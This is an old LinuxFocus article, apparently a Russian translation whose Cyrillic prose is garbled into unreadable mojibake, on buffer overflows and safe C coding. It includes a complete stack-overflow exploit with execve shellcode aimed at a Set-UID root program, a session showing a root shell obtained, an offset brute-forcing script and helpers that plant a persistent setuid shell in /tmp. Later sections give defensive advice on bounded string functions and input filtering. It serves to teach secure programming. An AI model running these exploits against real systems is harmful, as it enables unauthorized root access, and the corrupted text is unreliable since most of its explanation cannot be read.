Home Map Index Search News Archives Links About LF
[Top bar]
[Bottom bar]
��� ������� �������� ��: English  Castellano  Deutsch  Francais  Nederlands  Portugues  Russian  Turkce  

[image of the authors]
����� Fr�d�ric Raynal, Christophe Blaess, Christophe Grenier

�� ������:

Christophe Blaess - ����������� ������� �� �����������. �� ���������� Linux � ������ ������� ����� ����� ������ �� ���� �������. �������� ������������ ��������� man �������, ����������� Linux Documentation Project.

Christophe Grenier - ������� 5 ����� � ESIEA, ��� �� ����� �������� ����������. �������� ���������� ������������ �������������.

Frederic Raynal ���������� Linux ��������� ���, ������ ��� �� �� ���������� ���������� �����, �� ���������� �� �������, �� MSG � �������� ���� ��������... ������ ������� ���� � ��������.


����������:

 

��� �������� ��� � ������������ ��� ���������� ���������� - ����� 3: ������������ ������

[article illustration]

������:

� ���� ������ �� ������� ��������� ������������ ������ � ����������. �� �������, ��� ��� - ����� ������������ ���� � ������������. ������� �������, ��� �� ��������. � ���� ������ ��������������, ��� �� ������ ���������� 2:



 

������������ ������

� ����� ���������� ������ �� �������� ��������� ��������� ����� 50 ����, ��� ������ ������� ����� ��������� �������� ��� ����� � ������ ������. ������ �� ������ �������� ���� ��� � ����������, ������� ����� ���������. ��� �������� ����� ���������� ������ �������� ������� � ������ ��� ������� ������ ��������. �� �������� ���, ��������� ������������ �������������� ����������, ������������� � ����� ��������.

��������, � ��������� ��������� �� �������� ������ �� ������� ��������� � ��������� ������ � 500-������� �����. ��� ����������� ������������ ��� �������� ������ �� ����� � ������. ��� �� ������ �������, ������������� ������� strncpy() ��������� ��� �������� ������ ��������.

  /* vulnerable.c */

  #include <string.h>

  int main(int argc, char * argv [])
  {
    char buffer [500];

    if (argc > 1)
    strcpy(buffer, argv[1]);
    return (0);
  }

buffer - �������������� ����������, ����� �� 500 ï¿½ï¿½ï¿½ï¿½ ������������� � �����, ��� ������ �� ������ � ������� main(). ��� ������� �������� ��������� � ���������� ������� 500 ��������, ������ ����������� ����� � "����������" � ���� ��������. ��� �� ������ �����, � ����� ���������� ����� ��������� ���������� ��� ���������� (����� ��������). ����� ��������������� ���� ����� � ������������, ���������� �������� ����� �������� ������� ������� ��������, ������� �� ����� ���������. ���� ������� ����������� � ���� ������ � ����������� ��� ������� � ������.

 

�������������� � ������

��������� ������ �������� � ������ - ���� ���������� ������. �� ������ ����� �������� �� �������� %esp, ������������ �� ������� �����, �� ������ ��������. ����� ����� ��������� "����� ���������", ������ ������ ����������� ������������ ����������� NOP; ��� ������������ ����������� ����������, ������� ��������� ������ �� ������. �������, ����� ��������� ����� ��������� �� ����� ����� ��������� ������� ��������, ����������� ��������� ��������� �� NOP � NOP ���� �� ��������� ������ ����. ����� �������� ���� �����, �� �������� ������� � �������� ������ � ����������� ��������� �������, ����������� �� �����, � � ������ ������ �������� ���� NOP. ��������� 1 ������������ ���:

��������� 1: �����, ���������� ������ ������� ��� �����.
[ÂÕÆÅÒ]


��������� 2 ��������� ��������� ����� �� � ����� ������������. ��� ����������� ���������� (����������� %ebp, ����������� %eip, ���������, ...) ������ ���� �������� ����� ��������� ������� ��������: ��������� ������� ����� ������, ���� �� ��������� �������.

��������� 2 : ��������� ����� �� � ����� ������������
pile_bef.gif
pile_aft.gif
��
�����


������, ���� ������ ��������, ����������� � ������������ ���������� � �����. ����� �������, ��� 1 ����, � ������� ����������� � ����������, � ��� ����� �������� � ����, ��� ������������ � ����� �� ������ ����� ����������. ������� ���� � ������ �� ����� ����� ���������� ������������. ��� ��� ��� ��������� ���������� �������������� �����, ������������ ����� ���� 0, 1, 2 ��� 3 ����� (������ � ����� 2 = ������ 183 �� ����������� �����). �� ��������� 3, ����� ����� ������������� ���������� 4 ������. ������ ������, ��� ����� �������� ����������� �����, � ���������� �������������, - ������������, ������� ����� ��������. ��������� �������� � ������ segmentation violation - ��������� ����������� ��� illegal instruction - ������������ ����������. ������������ ���� ������ ������ ��������, ��� ��� ���� ����������� ����������� ��������� ��� ������ �������� �����.

��������� 3 : ��������� ������������ � �������������� ������
[×ÙÒÁ×ÎÉ×ÁÎÉÅ]
 

������ ���������

�� �������� ������ ��������� ��������� ��� ������� ��������� ���������� � ������� ������, ������� ���������� ����. ��� ��������� ����� ��������� ����� ��� ������ ������� �������� � ������ � ��� ������ ��������� ��� �������. ������ ������, ���������� �� ������ Aleph One �� ������ 49 ������� phrack, �������� �� ����� Christophe Grenier-�.

����� ������� �� �������� �������������� ����� ����������? ������ �� ������ ������������ ��������� ��������� ������, ��� � vulnerable.c, ��� ���������� ���������. �������� ������������� ����� ���� ����� ���� ������ ��� ������ �� �� �����.

��������� generic_exploit.c ������� �������� ����� ������� �������, ����� �������� ���� ������� � ��������� ����� �������� � ������ NOP, ��� ���� ������� ����. �����, ��� �������������� ������ ���������� � ��������� ��������� ����������, ��������� ���������� execve(), ��������� ������� ������� ������� �����������. ��������� generic_exploit ����� ����� ������ ������ ��� ����� (������� ������, ��� �������� ������, ����� ������������ ����� ��������), �������� � ������ � ������������. �� �������� ����� ����� ������� ��� ���������� ��������� (var) ��� �� ��������� ������ (novar). �������� force/noforce ����������, ����� �� ����� ��������� ������� setuid()/setgid() �� ��������.


/* generic_exploit.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP                     0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
        "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";

unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}

#define A_BSIZE     1
#define A_OFFSET    2
#define A_ALIGN     3
#define A_VAR       4
#define A_FORCE     5
#define A_PROG2RUN  6
#define A_TARGET    7
#define A_ARG       8

int main(int argc, char *argv[])
{
   char *buff, *ptr;
   char **args;
   long addr;
   int offset, bsize;
   int i,j,n;
   struct stat stat_struct;
   int align;
   if(argc < A_ARG)
   {
      printf("USAGE: %s bsize offset align (var / novar)
             (force/noforce) prog2run target param\n", argv[0]);
      return -1;
   }
   if(stat(argv[A_TARGET],&stat_struct))
   {
     printf("\nCannot stat %s\n", argv[A_TARGET]);
     return 1;
   }
   bsize  = atoi(argv[A_BSIZE]);
   offset = atoi(argv[A_OFFSET]);
   align  = atoi(argv[A_ALIGN]);

   if(!(buff = malloc(bsize)))
   {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   addr = get_sp() + offset;
   printf("bsize %d, offset %d\n", bsize, offset);
   printf("Using address: 0lx%lx\n", addr);

   for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;

   for(i = 0; i < bsize/2; i++) buff[i] = NOP;

   ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
   if(strcmp(argv[A_FORCE],"force")==0)
   {
     if(S_ISUID&stat_struct.st_mode)
     {
       printf("uid %d\n", stat_struct.st_uid);
       *(ptr++)= 0x31;          /* xorl %eax,%eax   */
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;          /* xorl %ebx,%ebx   */
       *(ptr++)= 0xdb;
       if(stat_struct.st_uid & 0xFF)
       {
     *(ptr++)= 0xb3;        /* movb $0x??,%bl   */
     *(ptr++)= stat_struct.st_uid;
       }
       if(stat_struct.st_uid & 0xFF00)
       {
     *(ptr++)= 0xb7;        /* movb $0x??,%bh   */
     *(ptr++)= stat_struct.st_uid;
       }
       *(ptr++)= 0xb0;          /* movb $0x17,%al   */
       *(ptr++)= 0x17;
       *(ptr++)= 0xcd;          /* int $0x80        */
       *(ptr++)= 0x80;
     }
     if(S_ISGID&stat_struct.st_mode)
     {
       printf("gid %d\n", stat_struct.st_gid);
       *(ptr++)= 0x31;          /* xorl %eax,%eax   */
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;          /* xorl %ebx,%ebx   */
       *(ptr++)= 0xdb;
       if(stat_struct.st_gid & 0xFF)
       {
     *(ptr++)= 0xb3;        /* movb $0x??,%bl   */
     *(ptr++)= stat_struct.st_gid;
       }
       if(stat_struct.st_gid & 0xFF00)
       {
     *(ptr++)= 0xb7;        /* movb $0x??,%bh   */
     *(ptr++)= stat_struct.st_gid;
       }
       *(ptr++)= 0xb0;          /* movb $0x2e,%al   */
       *(ptr++)= 0x2e;
       *(ptr++)= 0xcd;          /* int $0x80        */
       *(ptr++)= 0x80;
     }
   }
   /* ���������� ������� */
   n=strlen(argv[A_PROG2RUN]);
   shellcode[13] = shellcode[23] = n + 5;
   shellcode[5] = shellcode[20] = n + 1;
   shellcode[10] = n;
   for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
   /* �������� prog2run */
   printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
   memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));

   buff[bsize - 1] = '\0';

   args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
   j=0;
   for(i = A_TARGET; i < argc; i++)
     args[j++] = argv[i];
   if(strcmp(argv[A_VAR],"novar")==0)
   {
     args[j++]=buff;
     args[j++]=NULL;
     return execve(args[0],args,NULL);
   }
   else
   {
     setenv(argv[A_VAR],buff,1);
     args[j++]=NULL;
     return execv(args[0],args);
   }
}

����� ������������ vulnerable.c � ����� �����, ��� ���� ������ ���� ������, ��� ������� ����������. ��������, �� �������� 600 ���� ������ ��������� 500. �� ������� �������� �� ������� ����� ��� ������ ���������������� ���������. �����, ����������� ����������� addr = get_sp() + offset;, ������������ ��� ���������� ������ ��������, �� �������� ���... ���� ��������� �������! �������� ������������, ��� ���������� �������� %esp ��������� ���������� � ������� �������� � ��������, ��������� � ����� ���������. �����������, ��� �� �����: ��������� ������� ����� �������� ��������� ����� �� ������� ���������� �� ������ ��������� ���������. ����� ��� ������� ��������� ������������ ��� ������ �������� -1900 ����. �������, ����� ��������� ����, vulnerable ������ ���� Set-UID root.

  $ cc vulnerable.c -o vulnerable
  $ cc generic_exploit.c -o generic_exploit
  $ su
  Password:
  # chown root.root vulnerable
  # chmod u+s vulnerable
  # exit
  $ ls -l vulnerable
  -rws--x--x   1 root     root        11732 Dec  5 15:50 vulnerable
  $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe54
  Shellcode will start /bin/sh
  bash# id
  uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
  bash# exit
  $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe64
  uid 0
  Shellcode will start /bin/sh
  bash# id
  uid=0(root) gid=100(users) groups=100(users)
  bash# exit
� ������ ������ (noforce) ��� uid �� ���������. ��� �� �����, � ��� �������� ����� euid, ��������������� ��� �����. �������, ���� ���� vi ������� ��� �������������� /etc/passwd, ��� �� ������ ��� ������, �� ���-���� ����� ��������� ����, � ��� ��������� ����� ��������: ���� ����� ���� ���������� ��� ������ w! :) �������� force ������ uid=euid=0 ��� �������.

����� ������������� ����� �������� �������� ��� ������������, ����� ������������ ��������� ��������� ���� ������:

 #! /bin/sh
 # find_exploit.sh
  BUFFER=600
  OFFSET=$BUFFER
  OFFSET_MAX=2000
  while [ $OFFSET -lt $OFFSET_MAX ] ; do
    echo "Offset = $OFFSET"
    ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
    OFFSET=$(($OFFSET + 4))
  done
� ����� ��������� �� �� ��������� � ������ ��������� �������� ������������. ������� ��������, ��� ���� ������ �� ����� �������� � ��� � ���� �� ���������� ��� �� ����� �������� ������ ��-�� ������������. (��, ��� ����� ������������� ������ � ����� ������, ������ �������� �������� ������������ �� 1, 2 ��� 3(� ��� 0)). ��������� ������� �� ��������� ������ � ������� ������, �� ���������� ������� �������, ������ � Linux ��� �� ���.  

�������� � ���������

� ���������, ������ ��������� �������� ���������� ��� ������, ��� ��� ��� ��������� ������ ���� �� ���� ��� ��� ������� �������. �� ���������� ��������� ���������, ����� ��������� ����������, ������� �� ��� ��������� �����������:

/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>

int main()
{
  chown ("/tmp/run_shell", geteuid(), getegid());
  chmod ("/tmp/run_shell", 06755);
  return 0;
}

��� ��� ��� �������� ����� ��������� ������ ���� ������� �� ���, �� ������ ����� ���������� �����, ���������� �� ��������� run_shell, ��� ������ ��������� set_run_shell. �����, �� ������� �������� ��������.

/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main()
{
  setuid(geteuid());
  setgid(getegid());
  execl("/tmp/shell","shell","-i",0);
  exit (0);
}
����� -i ������������� interactive - ������������. ������ �� �� �������� ����� ����� ��������? ������ ������, ��� ��� s �� �������������� ����� ����������. ��������� ������ ���������, ����� �� uid euid, � gid egid. bash2 � tcsh �������� � ���� ��� �������� ������, �� �� bash, �� ash �� ����� ���. ������ ����� ������ ���� ����������������, ���� ������, �� ������� ���������� run_shell (����� /tmp), ����������� � ������� nosuid ��� noexec.  

��������������

��� ������ �� ����� Set-UID ��������� � ������� ������������ ������ � �� ���������, �� ����� ����������� �����, ����������� ��������� ������������ ��� ��� ID ��������� �����. ������, ���� ���� - �������� ��� � ������������. ������ �� ���������� ��������� ������, ������� ������� ������������� ������������ ������.

 

�������� ��������

������ �������, �������� ���� ���������, ���������� ������� �������: �������, ������������ ��� ������ � ��������, ������ ������ ���� ��������� ���������. ����������� ���������� ���� �����:

  for (i = 0; i <= n; i ++) {
    table [i] = ...
�������� �������� ������ ��-�� ������������� ����� <= ������ <, ��� ��� ������������ ������ � ������ �� ��������� �������. ���� � ���� ����� ��� ����� ��������, �� ������� ��� ������� � �����, ������������ ������������� �������, ��� ��� �� ������ ���� �������, ��� �� ���������� ���� ����. � ������� �� ������������ ������ for(i=0; i<n ; i++), �� ������ ��������� �������� ��������� ��� (��� ���� ��������� ����-������ ������� ��� ��� ���), ��������, ���� ������ ���������� ������ �����.

������� �������� �� ��������: �� �� ������ �������� �������� ���� ��� ����� ���� ��� ������������ �������� �������. ���� �� �������� ���������������� ������ �������� - ������ � ����������� ������. ���� �����, ��� ����� ������ ������ �������, ��� ��� ��������������� ������������ ���������� (��������, �������������� � ���������� �����������) ����� ������ ��� ��������.

������ ������������� ������� ������� ��� ������ ������������ ����������. �� ������ (������ Phrack ����� 55), ��� ������������ ����� �� ���� ���� ��������, ����� ������� ���� � ������������, ������� ������� � ���������� ��������� ��������.

  #define BUFFER_SIZE 128

  void foo(void) {

    char buffer[BUFFER_SIZE+1];

    /* ����� ������ */
    buffer[BUFFER_SIZE] = '\0';

    for (i = 0; i<BUFFER_SIZE; i++)
      buffer[i] = ...
  }
 

������������� n-�������

�� ����������, ������� ����������� ���������� C ���������� ����� ������ �� �������� �����. �������� ������� strcpy(3) �������� ���������� �������� ������ � ������ ���������� ���� �� �������� ������� ����. � ��������� ������� ����� ��������� ���������� �������; �� ������, ��� ��������� ��� �������� ���� � ������������:
  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT];
    strcpy (identity, name);
    ...
  }
�������, �������������� ����� �����������, ������� ��� ��������. ��� ������� ����� ����� `n' � �������� �� ��������, ��������, strncpy(3) ��� ������ ��� strcpy(3), strncat(3) ��� strcat(3) ��� ���� strnlen(3) ��� strlen(3).

������, �� ������ ���� ����������� � �������������� ����������� ������� strncpy(3), ��� ��� ��� ��������� ������� ������: ����� �������� ������ ������ ������ ����������, ����� ����� ��������� �������� ��������� �� n-�� �������, ��� ������ ���������� ��������. � ������ �������, ���� �������� ������ �������, ��� ����� ������� � ����� ������� �� ����� ������������� ������� ��������. ������� �� ������ �������� ��� �������. �������� ��� �� ��������, ���������� ������������ ����������� ���:

  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT+1];
    strncpy (identity, name, LG_IDENT);
    identity [LG_IDENT] = '\0';
    ...
  }
�����������, �� �� �������� ��������� � � ���������� ������ � "��������" ��������� (����� 8 ���), �������� wcsncpy(3) ����� ������ ������������ ��� wcscpy(3) ��� wcsncat(3) ��� wcscat(3). �������, ��������� ���������� ������, �� ����� ���������� � ������������.

��� � strcpy(), strcat(3) �� ��������� ������ ������. ������� strncat(3) �������� ������ � ����� ������, ���� ��� ��� ���� ����� ��� �����. ������ strcat(buffer1, buffer2); �� strncat(buffer1, buffer2, sizeof(buffer1)-1); ��������� ����.

������ sprintf() ��������� ���������� ��������������� ������ � ������. � ��� ����� ���� ������, ������� ����� ��������� ���������� ���� ��� �����������: snprintf(). ������ ������� ���������� ���������� ���������� �������� � ������ ���������� (��� ����� '\0'). �������� ����� ������������� �������� ������ ���, ���� �� ����������� ����������� ������� �������:

  if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
    /* ������������ */
    ...
  }

��������, ��� ��� �� ����� ������������ �����, ���� ������������ �������� �������� ��� ������ ���� ��� �����������. �������� ���� � BIND (Berkeley Internet Name Daemon) ���� ������ �������� ����� ����������:

  struct hosten *hp;
  unsigned long address;

  ...

  /* ����������� ������ */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...

��� ������ ����� ���������� 4 �����. � ���-����, ���� �� ������ �������� hp->h_length, ����� �� ������ �������� ����. ��������������, ����������� �������� ����� ������ ����� ������������:
  struct hosten *hp;
  unsigned long address;

  ...

  /* �������� */
  if (hp->h_length > sizeof(address))
    return 0;

  /* ����������� ������ */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...
� ��������� �������, ������ �������� ������ ����� ������� (����, ��� ������, URL, ...), ��������� ����� ������� ������ ������������� � ��������� ������, ��� ������ ������� ������.  

�������� ������ � ��� �����

���������, ���������� � ������������ ��������� �� ���������� �� ������������, ������������, ��� �� �������� ��� ������ � ���������� �������������� ��� �������� ������.

������ ����� ��� ��������� � ���������� ����� �����. � ������������ � ���, ��� �� ������ ��� �������, ���������� �������, ����� �� ������� �� ������������ gets(char *array), ��� ��� ����� ������ �� ����������� (��������� ������: ��� ��������� ����� ��������� ������������� ��� ����� ������������� ��������). ����� �������� ��������� �������� � scanf(). ������

scanf ("%s", string)
����� ������ ��� � gets(char *array), �� ��� �� ����� ��������. ������ ������� �� ��������� scanf() ���������� �������� �������� ��� �������� ������:
  char buffer[256];
  scanf("%255s", buffer);
������ �������������� ������������ ���������� ��������, ���������� � buffer, �� 255. � ������ �������, scanf() �������� �������� �� ������� ����� �� �������� �����, ������� ����������� ���������� ���� ���������� ������, ����������� ����������.

� C++ ����� cin �������� ������������ �������, ������������ � �� (���� ���� �� ��� ��� ������ ������������ ��). ��������� ��������� ��������� �����:

  char buffer[500];
  cin>>buffer;
��� �� ������ ������, ������� �������� �� ��������! �� � ������� ��������, ��� � � gets(char *array) ��� ������������� ��: ����� ������ �������. ����� ios::width() ��������� ������� ������������ ����� �������� ��� �����.

������ ������ ������� ��� ����. ������ ���� ������� � ��������� ������ ��� ������ fgets(char *array, int size, FILE stream), ��� ������������ ������ ������������ ������� ������. �����, ����������� ������ ������������� ��� ������, ��������, sscanf(). �� ������ ����� ����� �������� �������, �������� ��������� fgets(char *array, int size, FILE stream) � ���� � �������������� ���������� ��������� ������ ������������� �������. ���������� Gnu getline() ����� ������ ��� �� ���. ����� ����� �������� �������� ��������� �������� ��� ������ isalnum(), isprint() � �.�. ������� strspn() ��������� ��������� ����������� ����������. ��������� ���������� ������� ���������, ������ ����� ����, �������������� � ������, �������� �� ������������ ������ ������������.

���������������� ���� ������ - �� ������������ ����� ��� ����. ����� ������ ���������� ����� �������, ������ ���, ���������� ��� �� ������, ������ ����� �������, ��� ��� ��� ����������� �����, ��� ��� ����������� ���������� �� �������� ����������� �����, ���������������� �������������.

����� �� ������������ ������ ����� ��������� �� ���-��� ���: ������ ���������. �� �� ������ ��������, ��� ����������� ����� ��������� ��������������� ��������� �������� ����� ��� ��������. ����������, ��� ������ ��������� ������ ���� ���� "���=��������", ����� ���� ������������ ������������� �������������. ������������� ������������ getenv() ������� ��������� ������������, �������� ��� �������� ����� ������������ ������ (����� ������ �������) � �� ���������� (��� �� ������ ����� ����� ������ ������� `='). ������, ������������ getenv() ����� ���������� ��� ��, ��� � ��������������� fgets(char *array, int size, FILE stream), ������� �������� �� �� ����� � �������� ������ ������� �� ������.

������������� �������� �������� ������ �� ������ � ����������: �� ��������� ����� ������ ��������! �����, �� ������ ��������� ��������� ����:

  #define GOOD "abcdefghijklmnopqrstuvwxyz\
                BCDEFGHIJKLMNOPQRSTUVWXYZ\
                1234567890_"

  char *my_getenv(char *var) {
    char *data, *ptr

    /* ��������� ������ */
    data = getenv(var);

    /* ����������
       ��������� : �������, ��� ������ ������ ������ ����
                   � ������ �����������!!!
    */
    for (ptr = data; *(ptr += strspn(ptr, GOOD));)
      *ptr = '_';

    return data;
  }

������� strspn() �������� ��� ������: ��� ���� ������ ������, �� ���������� ��������� ��������� ���������� ��������. ���������� ����� ������ (������� �� 0), ������� �������� ������ ���������� �������. �� ������� �� ������ �������� ������. �� ������� �������� �� ��������� � ��������, ������� ��� �� �����. ������ ������� �������� �� ��������� � "�������" ��������.

 

������������� ������������ �������

������������ ������ ��������� �� ���������� �����, ������������� ���������� � ����� ����� �������� �������. ����� ����� ��������� ������ � �������������� ������, ������� ����������� � �����. ������ ���������� �� �������� - �������� ������� ��������, ������������� � �����, �� ������������ ����������, ����������� � ����. ����� ������� ��� �� �������� ������������������

  #define LG_STRING    128
  int fonction (...)
  {
    char array [LG_STRING];
    ...
    return (result);
  }
��:
  #define LG_STRING    128
  int fonction (...)
  {
    char *string = NULL;
    if ((string = malloc (LG_STRING)) == NULL)
        return (-1);
    memset(string,'\0',LG_STRING);
    [...]
    free (string);
    return (result);
  }
��� ������ ����������� ��� � ��������� ������ ������, ������ �� ������ ������� ������������ �� ���� ���������, ����� �������� ������ � ���������� �� ������������ ����������� �� �����. ���� ��������, ��� �� �� ������ ������� ���� �� ����������, ��������� alloca(). ��� ���������� �������, ������ alloca ��������� ������ � ����� �������� � ��� �������� � ��� �� ��������, ��� � �������������� ����������. ����������������� ������ �����, ��������� memset(), ��������� �������� ��������� ������� � ��������������������� �����������. �����, ��� �� ������ ��������, �������� ������ ������ �������. ��, ��� ����� ���������� ������������ ����, ����� �������� ������ � ������������� ���� �� w00w00.

� ����������, ������, ��� �������� ��� ��������� ��������������� ������ ���������� �� ��� � ������������ ����������� ��������� ����� static ����� ������������ ������. ���������� ��������� ��� ���������� � �������� ������ ������ �� ����� ��������. ������ ����������� ������� ��������, ������ ��� �� ����� �������� ����� DoS (Denial of Service - ����� � ������������). �����������, ��� �� ����� ��������, ���� ��������� ���������� ����������. ��� "�������" ������ ��������������� ��� ����������, ������������ ������ ��� ���������� ���� � ������������ � ����������� ��������� ��� ��������� �������� ���������� ����.

 

����������

�� ��������, ��� ���� ����� ������������ ������ ������� ������� ��� ��������� ����� ����������. ���� ���� ������� ��������� ������� �������� ��������� ���������, ����� �������� ����� ��������. � ������ �������, ���������� ����������������� �� ����� ������. �� ���������, ��� ������ ������� ����� �� ��, ����� ������� ��������� ���������� �� ����� ����������, ��� ���������� ���������� �����. �� ���������� ��� �������� � ����� ��������� ������ �� ������� � ��������������.  

������

 

�������� �������

� ������ ������� ���� �������� �������. �� ���� �������� �� ������ �������� ���� ����������� ��� ����������� ����������� ������ ���������.
 talkback page 

Webpages maintained by the LinuxFocus Editor team
© Fr�d�ric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org

Click here to report a fault or send a comment to LinuxFocus
Translation information:
fr -> -- Fr�d�ric Raynal, Christophe Blaess, Christophe Grenier
fr -> en Georges Tarbouriech
en -> en Lorne Bailey
en -> ru Kolobynin Alexey

2001-09-05, generated by lfparser version 2.17